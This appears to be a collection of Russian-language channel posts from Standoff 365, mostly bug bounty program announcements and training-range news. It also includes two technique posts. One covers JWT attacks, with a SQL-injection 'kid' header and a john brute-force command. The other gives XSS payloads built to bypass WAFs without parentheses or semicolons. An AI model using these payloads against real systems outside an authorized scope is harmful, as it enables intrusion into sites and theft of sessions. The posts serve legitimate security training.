Standoff 365

Восстановить хост — легко ⚙️

В рамках последнего обновления Standoff Hackbase подъехала еще одна фича!

На полигоне упал или глючит хост? Запусти восстановление — и система вернется в исходное состояние.

Рассказываем, как это работает:
🟣 Выбери сегмент Standalone
🟣 Кликни «Восстановить» на проблемном хосте
🟣 Введи IP или FQDN узла, который нужно сбросить
🟣 Отслеживай статус восстановления на вкладке «Доступ и ресурсы» в блоке «Восстановление системы»

П.с.: Пока восстанавливать хосты можно только в сегменте Standalone. Но мы работаем над тем, чтобы такая возможность появилась и в Industry 🥰

Не отвлекайся на сбои — сосредоточься на самом главном

А поделиться обратной связью о Hackbase можно здесь 😘

MAXимум выплат 🔥

За найденные уязвимости теперь можно получить до х2 выплат.

А это значит, что 10 млн рублей за крит уже ждут тебя! Да, десять миллионов, это не опечатка.

В скоупе:

• Веб-версия
• Мобильное приложение
• И wildcard на все домены

Хочешь войти в историю и забрать 10 млн? Тогда читай подробности и зарабатывай здесь ⬅️

«Битрикс» теперь в паблике на Standoff Bug Bounty 👨‍💻

У тебя новые планы на неделю — исследовать экосистему, где есть все для бизнеса: от CRM до видеозвонков и автоматизации 📋

В скоупе:

🔗 Портал «Битрикс24»
🔗 Уникальный домен

Занес в планер? А теперь заходи на Standoff Bug Bounty и делай бизнес безопаснее 💰

Время прощаться 🐱

1 декабря мы временно уберем из сезона Standoff Hackbase два уязвимых сервиса: Pharmacy и Portal.

Но есть и хорошие новости! Отмечать завершение будем райтапами. В двух форматах:
➖ статья на Хабре
➖ видеоразбор

Ты готов поделиться своим опытом? Тогда пиши @stfcommunity.

Инициативных ребят ждет спасибо в кармане публикация с авторством и что-то новенькое aka специальная ачивка 😏

Мы не хотим забывать смельчаков: если ты уже готовил для нас райтап, напиши нам. Ачивки должны долететь до своих героев!

А еще напоминаем, что мы ждем твой отзыв о Hackbase.

С идеями улучшений приходи сюда. Топовые возьмем на вооружение 🫡

Программа «Магнита» теперь доступна всем багхантерам на Standoff Bug Bounty 🛍

Если вы искали тот самый круглосуточный магазин, где платите не вы, а вам, — то он перед вами!

С февраля прошлого года двери в него были открыты только по картам лояльности, а теперь «Магнит» запустил программу в паблик — с расширенным скоупом и увеличенными выплатами.

За найденные баги можно получить до 250 000 рублей 🤑

Что предстоит исследовать:

• Приложение в Google Play
• Приложение в App Store
• id.magnit.ru
• middle-api.magnit.ru
• dostavka.magnit.ru
• my.magnit.ru
• magnit.ru
• hi.tander.ru

Уязвимости — на полках: найдите баг, принесите на кассу Standoff Bug Bounty и заберите награду 🧾

☺️ Всем Привет! Написал статью про некоторый прикольный и нестандартный опыт в BugBounty.

Читать

Наш багхантер pozeslamix рассказал про необычный способ эксплуатации уязвимости 🕵️‍♀️

В канале он опубликовал статью, где рассказал о нестандартной уязвимости в службе поддержки. А еще поделился тем, как креативно действовать и при этом не выходить за скоуп.

Переходим по ссылке и скрашиваем вечер пятницы 👇

Сезонный рейтинг на Standoff Hackbase и новый хост на Standalone 🔥

Конец года не за горами, а итоги Ground zero, первого сезона Hackbase, еще ближе.

15 декабря фиксируем результаты и закрываем этот этап. А это значит, что у тебя еще есть время залететь в топ и получить уникальные ачивки 🗓

Догоняем топ-3:

🥇 CSV
🥈 dragom
🥉 Bagley

А чтобы ускорить процесс получения баллов, мы добавили новый уязвимый сервис: ⬇️

rawmatex.standalone.stf

Тренируйся на нем и повышай свои шансы на первое место 🔝

Сейчас лучший момент, чтобы стать одним из лидеров Hackbase. Кстати, 25 хакеров из топа сезонного рейтинга в конце года получат награды и призы.

Так что следи за обновлениями, выбирай вектор атаки и врывайся в топ 🤑

Покажи, на что ты способен!

⚠️ Аларм! Технические работы на Standoff 365 

С 22 ноября 22:00 до 23 ноября 06:00 возможны перебои в работе портала.

Запланируй отдых 😴

Нашли ошибки — заработали миллионы 💰

Недавно brain и kedr поделились с нами, как они начинали путь в багбаунти, какие уязвимости запомнили больше всего и как изменилась их жизнь. 

А еще ребята успели: 
🔵brain — войти в топ-1 меньше чем за год
🔵kedr — получить рекордную выплату платформы в 4,97 миллиона

👉 История о том, как увлечение стало делом жизни, уже здесь. 

Читай статью, если хочешь так же 😋

Программа кибериспытаний «Электрорешений» ⚡️

Хочешь испытать на прочность крупнейшего производителя электрооборудования? Тогда этот пост для тебя!

В рамках программы ты будешь тестировать возможность удаления или шифрования резервных копий и получения привилегированных прав доступа к системе резервного копирования. 

Максимальная выплата за реализацию недопустимого события — 800 тысяч рублей. 

Можно также получить вознаграждение за промежуточные результаты: 

— От 100 тысяч рублей — за компрометацию корпоративной учетной записи с закреплением на рабочей станции 
— До 300 тысяч рублей — за потенциальное нарушение работы системы виртуализации. 

Дедлайн — 16 декабря или момент первой успешной реализации недопустимого события.

Заходи на Standoff Bug Bounty, чтобы никто не остался без света и данных 💪

Эксплуатация JSON web tokens: от теории к практике 🚀

По своей структуре JWT состоит из трёх частей — заголовка, пэйлоада и подписи:

➡️Заголовок (header) передает информацию о типе токена и используемом криптографическом алгоритме.

➡️Пэйлоад (payload) передает содержащиеся в токене так называемые утверждения (claims), которые делятся на три типа:

▪️Стандартные — данные о токене (предназначение, издатель, срок действия).
▪️Пользовательские — данные пользователя токена (имя, электронный адрес, номер телефона).
▪️Нестандартные — специфические поля, необходимые для конкретных приложений.

➡️Подпись (signature) гарантирует, что ни заголовок, ни пэйлоад не были изменены.

Большинство уязвимостей JWT возникают из-за неправильной настройки и некорректной проверки входных данных в процессе реализации. Разберем подробнее:

1️⃣ alg: none (отсутствие подписи) — если сервер принимает алгоритм none, можно отправить unsigned-токен с изменёнными claims и пройти аутентификацию.

2️⃣ Отсутствие проверки подписи — пропуск валидации подписи позволяет любому модифицированному токену считаться валидным.

3⃣ Algorithm confusion (путаница алгоритмов) — смена alg (например, с RS256 на HS256) даёт возможность использовать публичный ключ как HMAC-секрет и подделать подпись.

4⃣ Подмена JWK — динамическая загрузка публичных ключей (jwks.json) может быть использована для подмены ключа и принятия злонамеренно подписанных токенов.

5⃣ Инъекция через kid — небезопасная обработка поля kid может привести к инъекции пути/URL или выбору неподходящего ключа для проверки.

{
    "alg": "RS256",
    "kid": "example-key' OR UNION SELECT 'users'; --"
}

6⃣ Брутфорс слабых секретов — при использовании HMAC слабые или общие секреты можно подобрать перебором.

$ john --wordlist=/path/to/wordlist.txt jwt.txt

7⃣ Захардкоженные ключи — секреты, обнаруженные в исходниках, позволяют создать валидные токены.

Полезные инструменты и ресурсы:

🔗Introduction to JSON Web Tokens
🔗Exploiting JWT vulnerabilities: A complete guide
🔗 The JSON Web Token Toolkit v2
🔗BurpSuite JWT Editor
🔗PortSwigger Web Security Academy: JWT attacks

Слушай и ищи баги 🤘

Багхантеры знают: с классными саундтреками поиски проходят увлекательнее.

И сегодня наш топовый исследователь — byq — делится треками, которые вдохновляют на поиск уязвимостей. 

Как сказал byq:

Самые интересные баги я обычно отмечаю праздничным танцем. 

Включай плейлист и заряжайся энергией для новых отчетов! 🎧

Кидай в комменты треки, которые вдохновляют тебя ⤵️

Отвечаем на все вопросы багхантеров напрямую ☺️
 
Знакомься с руководителем команды триажа — Дашей Афанасовой. Она будет общаться с багхантерским комьюнити и решать проблемы, с которыми может столкнуться каждый.
 
Уже столкнулся? Тогда пиши Даше в личку, она поможет — @daria_afanasova.
 
Добавляй в контакты на всякий случай, вдруг пригодится 🤝🤝

Новая публичная программа на Standoff Bug Bounty 😎

БКС Банк вышел из приватки и стал открытым для всех багхантеров!

А чтобы старт был по-настоящему горячим, подготовили бонус — удвоенные выплаты за баги высокого и критичного уровня опасности до 30 ноября.

Critical — до 500 000 рублей
High — до 240 000 рублей
Medium — до 50 000 рублей
Low — до 10 000 рублей

Скоуп:

https://bcs-bank.ru/
https://lkbank.bcs.ru/
\*.bcs-bank.ru
Приложения для Android и iOS (последние актуальные версии с https://bcs.ru/)

Самое то, чтобы успеть заработать на адвент-календарь с пивом 😎

🤔 Эксплуатация XSS без скобок и точек с запятой

Главная цель — обход WAF, который блокирует типичные паттерны XSS.

Как это работает ⤵️

🔴 С помощью запятых можно объединить несколько выражений и вернуть последнее из них
🔴 Замена onerror на eval позволяет выполнить сообщение об ошибке как код
🔴 Вызванные ошибки станут частью сообщения об ошибке
🔴 Если тебе удалось преобразовать сообщение об ошибке в корректный код, значит, ты справился

➡️ Tagged Template Strings

Базовый прием — использование функции перед шаблонной строкой:

alert`test`

Более продвинутый вариант — создание функции из строки:

Function`alert\u00281\u0029` ``

Здесь скобки заменены на unicode-представление (\u0028 и \u0029).

Динамическое выполнение кода через hash:

Function`_${location.hash.slice`1`}` ``

➡️ Метод onerror + throw (Chrome)

Ключевая идея: подмена onerror на eval и создание валидного JS-кода из сообщения об ошибке:

onerror = eval
throw '=alert\x281\u0029'

Сообщение об ошибке в Chrome: Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).

Без точки с запятой (используя блок):

{onerror=alert}throw 1

Или через запятую:

throw onerror=alert,1

➡️ Метод для Firefox

В Firefox формат ошибок другой, поэтому используются объекты Error:

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x

➡️ Продвинутые техники

Пейлоад через regexp и конкатенацию:

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]

Здесь:

🔴 a[12] и a[13] извлекают ( и ) из строки функции URL
🔴 /1/g — regexp, который в строке становится "/1/g"
🔴 Итоговое сообщение: Uncaught /1/g(1337,3331,117) — валидный код

Манипуляция с TypeError.prototype.name:

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

Изменяется имя TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).

💡 Пост вдохновлен несколькими исследованиями по теме:

✳️ Explaining XSS without parentheses and semi-colons
✳️ XSS technique without parentheses
✳️ XSS without parentheses and semi-colons

В этом году мы мощно прокачали онлайн-полигон для атакующих — Standoff Hackbase ⚡

Здесь появились сезонные задания и рейтинги, обновленная инфраструктура, новые режимы участия, ачивки для победителей каждого сезона и многое другое. Мы постарались сделать прокачку навыков максимально интересной.

И это только начало: мы продолжаем развивать Hackbase, чтобы вам хотелось возвращаться сюда снова и залипать часами. Если у вас появились предложения, как сделать Hackbase лучше, — делитесь!

✉️ На сайте открыта форма обратной связи — мы с радостью воплотим лучшие идеи в жизнь.

Давайте делать Hackbase еще круче вместе! 💪

Вы готовы, багхантеры? Да, капитан! 🕵️‍♂️

БКС Банк запускает публичную программу на Standoff Bug Bounty и приглашает на офлайн-митап /hack_bcs /meetup: ты сможешь первым узнать о дате запуска, скоупе и размерах выплат.

📅 11 ноября, 19:00
📍 Офис Positive Technologies, Москва

Что будет полезного:
• подробно расскажут о правилах программы;
• узнаешь, какие бонусы подготовили к запуску;
• команды БКС Банка и Standoff Bug Bounty будут на месте — сможешь задать вопросы лично.

Мест мало — регистрируйся!